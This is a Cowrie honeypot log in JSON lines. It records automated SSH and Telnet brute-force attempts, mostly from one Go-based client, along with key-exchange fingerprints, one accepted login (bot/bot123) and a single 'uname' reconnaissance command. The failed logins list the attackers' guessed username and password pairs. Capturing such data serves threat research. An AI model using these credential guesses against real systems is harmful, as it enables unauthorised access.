{"eventid":"cowrie.session.closed","duration":54.21914505958557,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:51.154190Z","src_ip":"38.60.198.128","session":"c6054b38cd8c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:51.163906Z","src_ip":"176.65.132.129","session":"b20273a3ca78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:52.249015Z","src_ip":"176.65.132.129","session":"b20273a3ca78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"77166198188c","protocol":"telnet","message":"New connection: 38.60.198.128:52904 (159.203.135.109:23) [session: 77166198188c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:54.045671Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60008,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef02a1e6df9","protocol":"ssh","message":"New connection: 176.65.132.129:60008 (10.17.0.5:22) [session: cef02a1e6df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:54.201897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:54.206924Z","src_ip":"176.65.132.129","session":"cef02a1e6df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:54.289958Z","src_ip":"176.65.132.129","session":"cef02a1e6df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:54.539864Z","src_ip":"176.65.132.129","session":"cef02a1e6df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:55.626165Z","src_ip":"176.65.132.129","session":"cef02a1e6df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.913121938705444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:56.115345Z","src_ip":"192.211.53.160","session":"3ff2cdaee705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6a6aaf06c1","protocol":"ssh","message":"New connection: 176.65.132.129:53934 (10.17.0.5:22) [session: 1e6a6aaf06c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:57.587374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:57.686103Z","src_ip":"176.65.132.129","session":"1e6a6aaf06c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:57.689811Z","src_ip":"176.65.132.129","session":"1e6a6aaf06c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:58.015277Z","src_ip":"176.65.132.129","session":"1e6a6aaf06c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.00795221328735,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:58.124398Z","src_ip":"192.211.53.160","session":"aef36147d517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:59.100301Z","src_ip":"176.65.132.129","session":"1e6a6aaf06c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.38058114051819,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:00.686486Z","src_ip":"38.60.198.128","session":"a095b54304c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53936,"dst_ip":"10.17.0.5","dst_port":22,"session":"242e99b1da5e","protocol":"ssh","message":"New connection: 176.65.132.129:53936 (10.17.0.5:22) [session: 242e99b1da5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:00.988682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:00.993788Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.077700Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.334561Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.561895Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.566544Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.745402Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:01.751484Z","src_ip":"176.65.132.129","session":"242e99b1da5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e643176c9e","protocol":"telnet","message":"New connection: 45.81.23.16:58372 (10.17.0.5:23) [session: 55e643176c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:03.625706Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58376,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8eba8bdb71","protocol":"telnet","message":"New connection: 45.81.23.16:58376 (10.17.0.5:23) [session: 9d8eba8bdb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:03.749732Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53948,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d045e6c80a","protocol":"ssh","message":"New connection: 176.65.132.129:53948 (10.17.0.5:22) [session: 08d045e6c80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:04.444350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:04.453039Z","src_ip":"176.65.132.129","session":"08d045e6c80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33682,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a40b2ea1d1","protocol":"telnet","message":"New connection: 38.60.198.128:33682 (159.203.135.109:23) [session: 47a40b2ea1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:04.477284Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:04.528682Z","src_ip":"176.65.132.129","session":"08d045e6c80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:04.880035Z","src_ip":"176.65.132.129","session":"08d045e6c80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:05.966485Z","src_ip":"176.65.132.129","session":"08d045e6c80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c71fa82af060","protocol":"telnet","message":"New connection: 45.81.23.16:58380 (10.17.0.5:23) [session: c71fa82af060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:06.601611Z"}
{"eventid":"cowrie.session.closed","duration":3.327988624572754,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:07.077596Z","src_ip":"45.81.23.16","session":"9d8eba8bdb71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41866,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9624ecef1b4","protocol":"telnet","message":"New connection: 38.60.198.128:41866 (159.203.135.109:23) [session: c9624ecef1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:07.735081Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51580,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a615d4d5266","protocol":"ssh","message":"New connection: 176.65.132.129:51580 (10.17.0.5:22) [session: 9a615d4d5266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:07.824703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:07.829559Z","src_ip":"176.65.132.129","session":"9a615d4d5266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:07.911516Z","src_ip":"176.65.132.129","session":"9a615d4d5266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:08.159696Z","src_ip":"176.65.132.129","session":"9a615d4d5266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58382,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f0695aaf28","protocol":"telnet","message":"New connection: 45.81.23.16:58382 (10.17.0.5:23) [session: d3f0695aaf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:08.263665Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:09.246704Z","src_ip":"176.65.132.129","session":"9a615d4d5266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.86830711364746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:09.579718Z","src_ip":"38.60.198.128","session":"ed5b72a58370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"eadbca3e14eb","protocol":"telnet","message":"New connection: 45.81.23.16:58388 (10.17.0.5:23) [session: eadbca3e14eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:10.611449Z"}
{"eventid":"cowrie.session.closed","duration":7.253389835357666,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:10.878944Z","src_ip":"45.81.23.16","session":"55e643176c9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51584,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7dbb89a803d","protocol":"ssh","message":"New connection: 176.65.132.129:51584 (10.17.0.5:22) [session: b7dbb89a803d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:11.316175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:11.321154Z","src_ip":"176.65.132.129","session":"b7dbb89a803d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:11.405319Z","src_ip":"176.65.132.129","session":"b7dbb89a803d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:11.656442Z","src_ip":"176.65.132.129","session":"b7dbb89a803d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:12.846476Z","src_ip":"176.65.132.129","session":"b7dbb89a803d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.029220342636108,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:14.630699Z","src_ip":"45.81.23.16","session":"c71fa82af060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51594,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc9f1ce023a","protocol":"ssh","message":"New connection: 176.65.132.129:51594 (10.17.0.5:22) [session: 2bc9f1ce023a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:14.688237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:14.698616Z","src_ip":"176.65.132.129","session":"2bc9f1ce023a","protocol":"ssh"}
